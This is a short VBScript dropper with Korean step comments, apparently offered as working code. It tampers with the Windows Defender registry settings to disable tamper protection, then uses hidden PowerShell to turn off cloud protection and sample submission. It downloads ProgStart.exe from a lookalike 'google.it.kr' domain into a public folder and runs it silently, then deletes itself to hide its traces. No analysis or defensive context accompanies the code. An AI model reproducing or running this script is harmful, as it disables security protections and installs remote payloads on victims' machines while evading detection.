' 1. 변수 선언 (가장 먼저 수행)
Dim WshShell, fso, fileUrl, savePath, psCommand, currentScript

' 2. 개체 생성 및 할당
Set WshShell = CreateObject("WScript.Shell")
Set fso = CreateObject("Scripting.FileSystemObject")

' 3. 레지스트리를 통한 변조 방지 해제 시도 (오류 발생 시 무시)
On Error Resume Next
WshShell.RegWrite "HKLM\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtection", 0, "REG_DWORD"
On Error GoTo 0

' 4. 파워쉘을 사용하여 클라우드 보호 및 자동 샘플 전송 비활성화
psCommand = "powershell -NoProfile -ExecutionPolicy Bypass -Command " & _
            "Set-MpPreference -DisableCloudProtection $true; " & _
            "Set-MpPreference -SubmitSamplesConsent 2"
WshShell.Run psCommand, 0, True

' 5. 파일 다운로드 설정 및 실행
fileUrl = "https://www.google.it.kr/DOWN/ProgStart.exe"
savePath = "C:\users\public\ProgStart.exe"

' 파워쉘을 통한 파일 다운로드 (Invoke-WebRequest)
psCommand = "powershell -WindowStyle Hidden -Command " & _
            "Invoke-WebRequest -Uri '" & fileUrl & "' -OutFile '" & savePath & "'"
WshShell.Run psCommand, 0, True

' 다운로드한 파일 실행 (1: 창 표시, False: 비동기 실행)
WshShell.Run Chr(34) & savePath & Chr(34), 0, False

' 6. [자가 삭제 프로세스] VBS 파일 강제 삭제 (1초 지연 후 실행)
currentScript = WScript.ScriptFullName
WshShell.Run "cmd.exe /c ping 1.1.1.1 -n 2 -w 1000 > nul & del /f /q """ & currentScript & """", 0, True

' 7. 사용 완료 후 개체 메모리 해제 (최하단에 위치)
Set fso = Nothing
Set WshShell = Nothing
